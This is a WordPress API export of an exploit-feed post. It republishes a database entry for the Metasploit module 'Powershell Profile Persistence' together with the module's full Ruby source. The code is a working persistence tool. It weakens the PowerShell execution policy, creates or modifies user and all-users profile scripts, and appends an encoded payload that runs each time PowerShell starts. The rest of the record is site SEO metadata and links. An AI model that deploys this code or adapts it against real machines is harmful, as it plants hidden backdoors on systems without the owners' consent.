{"id":47292,"date":"2026-04-15T14:47:01","date_gmt":"2026-04-15T14:47:01","guid":{"rendered":"http:\/\/localhost\/?p=47292"},"modified":"2026-04-15T14:47:01","modified_gmt":"2026-04-15T14:47:01","slug":"powershell-profile-persistence","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=47292","title":{"rendered":"Powershell Profile Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-POWERSHELL_PROFILE-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-15T19:28:04&#8243;,&#8221;description&#8221;:&#8221;This module establishes persistence by modifying a PowerShell profile script, which is automatically executed when PowerShell starts. The module supports multiple profile scopes current user or all users and safely backs up any existing profile prior&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-15T19:02:24&#8243;,&#8221;modified&#8221;:&#8221;2026-04-15T19:02:24&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Powershell Profile Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-WINDOWS-PERSISTENCE-POWERSHELL_PROFILE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n  Rank = ExcellentRanking\\n\\n  include Msf::Post::File\\n  include Msf::Exploit::Powershell\\n  include Msf::Post::Windows::Registry\\n  include Msf::Exploit::Local::Persistence\\n  prepend Msf::Exploit::Remote::AutoCheck\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Powershell Profile Persistence&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module establishes persistence by modifying a PowerShell profile script, which is automatically\\n          executed when PowerShell starts. The module supports multiple profile scopes (current user or all users)\\n          and safely backs up any existing profile prior to modification, enabling clean removal by restoring the original file.\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;madefourit&#8217;\\n        ],\\n        &#8216;Platform&#8217; =\\u003e [ &#8216;win&#8217; ],\\n        &#8216;Arch&#8217; =\\u003e [ARCH_X64, ARCH_X86],\\n        &#8216;SessionTypes&#8217; =\\u003e [ &#8216;meterpreter&#8217; ],\\n        &#8216;Targets&#8217; =\\u003e [[ &#8216;Auto&#8217;, {} ]],\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;ATT\\u0026CK&#8217;, Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],\\n          [&#8216;ATT\\u0026CK&#8217;, Mitre::Attack::Technique::T1546_013_POWERSHELL_PROFILE],\\n          [ &#8216;URL&#8217;, &#8216;https:\/\/pentestlab.blog\/2019\/11\/05\/persistence-powershell-profile\/&#8217;]\\n        ],\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2019-11-05&#8217;,\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION, EVENT_DEPENDENT],\\n          &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK, CONFIG_CHANGES]\\n        }\\n      )\\n    )\\n    register_options [\\n      OptEnum.new(&#8216;PROFILE&#8217;, [true, &#8216;The powershell profile to target.&#8217;, &#8216;AUTO&#8217;, [&#8216;AUTO&#8217;, &#8216;ALLUSERSALLHOSTS&#8217;, &#8216;ALLUSERSCURRENTHOST&#8217;, &#8216;CURRENTUSERALLHOSTS&#8217;, &#8216;CURRENTUSERCURRENTHOST&#8217;]]),\\n      OptBool.new(&#8216;CREATE&#8217;, [false, &#8216;If a profile file doesnt exist, create one.&#8217;, false]),\\n      OptBool.new(&#8216;EXECUTIONPOLICY&#8217;, [false, &#8216;Attempt to update execution policy to execute .&#8217;, true]),\\n    ]\\n  end\\n\\n  def policy_allows_execution?\\n    # Get-ExecutionPolicy -List has words, but when converting to json to read easily it gives numbers, so we have to map them back\\n    execution_policies = cmd_exec(&#8216;powershell -NoProfile -Command \\&#8221;$h = @{}; Get-ExecutionPolicy -List | ForEach-Object { $h[$_.Scope.ToString()] = $_.ExecutionPolicy.ToString() }; $h | ConvertTo-Json\\&#8221;&#8216;)\\n    begin\\n      @policies = JSON.parse(execution_policies)\\n    rescue JSON::ParserError\\n      print_error(\\&#8221;Failed to parse powershell execution policies: #{execution_policies}\\&#8221;)\\n      return false\\n    end\\n    [&#8216;Unrestricted&#8217;, &#8216;RemoteSigned&#8217;, &#8216;Bypass&#8217;].include?(@policies[&#8216;CurrentUser&#8217;])\\n  end\\n\\n  def check\\n    return Msf::Exploit::CheckCode::Safe(&#8216;System does not have powershell&#8217;) unless registry_enumkeys(&#8216;HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft&#8217;).include?(&#8216;PowerShell&#8217;)\\n\\n    unless policy_allows_execution?\\n      if datastore[&#8216;EXECUTIONPOLICY&#8217;]\\n        return Msf::Exploit::CheckCode::Appears(\\&#8221;Powershell execution policy for CurrentUser (#{@policies[&#8216;CurrentUser&#8217;]}), will attempt to override\\&#8221;)\\n      else\\n        return Msf::Exploit::CheckCode::Safe(\\&#8221;Powershell execution policy for CurrentUser (#{@policies[&#8216;CurrentUser&#8217;]}) doesn&#8217;t allow script execution, try setting EXECUTIONPOLICY\\&#8221;)\\n      end\\n    end\\n    vprint_status(\\&#8221;Powershell execution policy for CurrentUser (#{@policies[&#8216;CurrentUser&#8217;]})\\&#8221;)\\n\\n    CheckCode::Appears(&#8216;Powershell is installed and exploitable on the target system&#8217;)\\n  end\\n\\n  def backdoor_profile(profile_file)\\n    module_created_file = false\\n    unless file?(profile_file)\\n      if datastore[&#8216;CREATE&#8217;]\\n        print_status(\\&#8221;#{profile_file} does not exist, creating it&#8230;\\&#8221;)\\n        folders = profile_file.split(&#8216;\\\\\\\\&#8217;)[0..-2]\\n        folders = folders.join(&#8216;\\\\\\\\&#8217;)\\n        # we can&#8217;t use mkdir here because register_dir_for_cleanup gets called, and we handle our own cleanups\\n        unless directory?(folders)\\n          cmd_exec(\\&#8221;cmd \/c \\\\\\&#8221;md #{folders}\\\\\\&#8221;\\&#8221;)\\n          @clean_up_rc \\u003c\\u003c \\&#8221;rmdir #{folders.gsub(&#8216;\\\\\\\\&#8217;, &#8216;\/&#8217;)}\\\\n\\&#8221;\\n        end\\n        unless write_file(profile_file, &#8221;) # write empty file so we can append later\\n          print_error(\\&#8221;Failed to create profile file at #{profile_file}\\&#8221;)\\n          return false\\n        end\\n        module_created_file = true\\n      else\\n        print_error(\\&#8221;#{profile_file} does not exist and CREATE option is false\\&#8221;)\\n        return false\\n      end\\n    end\\n\\n    if module_created_file\\n      @clean_up_rc \\u003c\\u003c \\&#8221;rm #{profile_file.gsub(&#8216;\\\\\\\\&#8217;, &#8216;\/&#8217;)}\\\\n\\&#8221;\\n    else\\n      pfile = read_file(profile_file)\\n      if pfile.nil?\\n        vprint_warning(\\&#8221;Unable to read (and backup) existing profile file at #{profile_file}, continuing without backup\\&#8221;)\\n      else\\n        backup_file = store_loot(\\n          &#8216;powershell.profile&#8217;,\\n          &#8216;text\/plain&#8217;,\\n          session,\\n          pfile, profile_file.split(&#8216;\\\\\\\\&#8217;).last,\\n          &#8216;powershell profile backup&#8217;\\n        )\\n\\n        print_status(\\&#8221;Created #{profile_file} backup: #{backup_file}\\&#8221;)\\n        @clean_up_rc \\u003c\\u003c \\&#8221;upload #{backup_file} #{profile_file}\\\\n\\&#8221;\\n      end\\n    end\\n\\n    pload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true)\\n    splitter = &#8216;-c &#8216;\\n    pload = pload.split(splitter)[1..] # remove all the powershell.exe and setup\/run stuff, we only need the code bit here\\n    pload = pload.join(splitter)[1..-2] # rejoin, then remove surrounding double quotes\\n\\n    vprint_status(\\&#8221;Appending payload to #{profile_file}\\&#8221;)\\n    unless append_file(profile_file, \\&#8221;\\\\n#{pload}\\\\n\\&#8221;)\\n      print_error(\\&#8221;Failed to append payload to #{profile_file}\\&#8221;)\\n      return false\\n    end\\n    true\\n  end\\n\\n  def install_persistence\\n    profiles = cmd_exec(&#8216;powershell -NoProfile -Command \\&#8221;$PROFILE | Select-Object * | ConvertTo-Json\\&#8221;&#8216;)\\n    begin\\n      profiles = JSON.parse(profiles)\\n    rescue JSON::ParserError\\n      fail_with(Failure::UnexpectedReply, \\&#8221;Failed to parse powershell profile paths: #{profiles}\\&#8221;)\\n    end\\n    profiles = profiles.transform_keys { |k| k.to_s.upcase }\\n\\n    if !policy_allows_execution? \\u0026\\u0026 datastore[&#8216;EXECUTIONPOLICY&#8217;]\\n      print_status(&#8216;Updating Powershell execution policy for CurrentUser to RemoteSigned&#8217;)\\n      cmd_exec(&#8216;powershell -NoProfile -Command \\&#8221;Set-ExecutionPolicy -Scope CurrentUser RemoteSigned\\&#8221;&#8216;)\\n      @clean_up_rc \\u003c\\u003c \\&#8221;execute -f powershell -a \\\\\\&#8221;-NoProfile -w hidden -Command &#8216;Set-ExecutionPolicy -Scope CurrentUser #{@policies[&#8216;CurrentUser&#8217;]}&#8217;\\\\\\&#8221;\\\\n\\&#8221;\\n    end\\n\\n    case datastore[&#8216;PROFILE&#8217;]\\n    when &#8216;AUTO&#8217;\\n      [&#8216;ALLUSERSALLHOSTS&#8217;, &#8216;ALLUSERSCURRENTHOST&#8217;, &#8216;CURRENTUSERALLHOSTS&#8217;, &#8216;CURRENTUSERCURRENTHOST&#8217;].each do |profile|\\n        unless profiles.key?(profile)\\n          print_error(\\&#8221;#{profile} not found in user&#8217;s profiles\\&#8221;)\\n          next\\n        end\\n        success = backdoor_profile(profiles[profile])\\n        break if success\\n      end\\n    when &#8216;ALLUSERSALLHOSTS&#8217;, &#8216;ALLUSERSCURRENTHOST&#8217;, &#8216;CURRENTUSERALLHOSTS&#8217;, &#8216;CURRENTUSERCURRENTHOST&#8217;\\n      unless profiles.key?(datastore[&#8216;PROFILE&#8217;])\\n        fail_with(Failure::UnexpectedReply, \\&#8221;#{datastore[&#8216;PROFILE&#8217;]} not found in user&#8217;s profiles\\&#8221;)\\n      end\\n      backdoor_profile(profiles[datastore[&#8216;PROFILE&#8217;]])\\n    end\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/windows\/persistence\/powershell_profile.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/windows\/persistence\/powershell_profile\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-15T19:28:04&#8243;,&#8221;description&#8221;:&#8221;This module establishes persistence by modifying a PowerShell profile script, which is automatically executed when PowerShell starts. The module supports multiple profile scopes current user&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-47292","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Powershell Profile Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-POWERSHELL_PROFILE- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=47292\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Powershell Profile Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-POWERSHELL_PROFILE- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-04-15T19:28:04&#8243;,&#8221;description&#8221;:&#8221;This module establishes persistence by modifying a PowerShell profile script, which is automatically executed when PowerShell starts. The module supports multiple profile scopes current user...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=47292\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-15T14:47:01+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47292#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47292\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Powershell Profile Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-POWERSHELL_PROFILE-\",\"datePublished\":\"2026-04-15T14:47:01+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47292\"},\"wordCount\":1155,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=47292#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47292\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47292\",\"name\":\"Powershell Profile Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-POWERSHELL_PROFILE- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-04-15T14:47:01+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47292#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=47292\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47292#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Powershell Profile Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-POWERSHELL_PROFILE-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Powershell Profile Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-POWERSHELL_PROFILE- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=47292","og_locale":"en_US","og_type":"article","og_title":"Powershell Profile Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-POWERSHELL_PROFILE- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-04-15T19:28:04&#8243;,&#8221;description&#8221;:&#8221;This module establishes persistence by modifying a PowerShell profile script, which is automatically executed when PowerShell starts. The module supports multiple profile scopes current user...","og_url":"https:\/\/zero.redgem.net\/?p=47292","og_site_name":"zero redgem","article_published_time":"2026-04-15T14:47:01+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=47292#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=47292"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Powershell Profile Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-POWERSHELL_PROFILE-","datePublished":"2026-04-15T14:47:01+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=47292"},"wordCount":1155,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=47292#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=47292","url":"https:\/\/zero.redgem.net\/?p=47292","name":"Powershell Profile Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-POWERSHELL_PROFILE- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-04-15T14:47:01+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=47292#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=47292"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=47292#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Powershell Profile Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-POWERSHELL_PROFILE-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/47292","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=47292"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/47292\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=47292"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=47292"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=47292"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}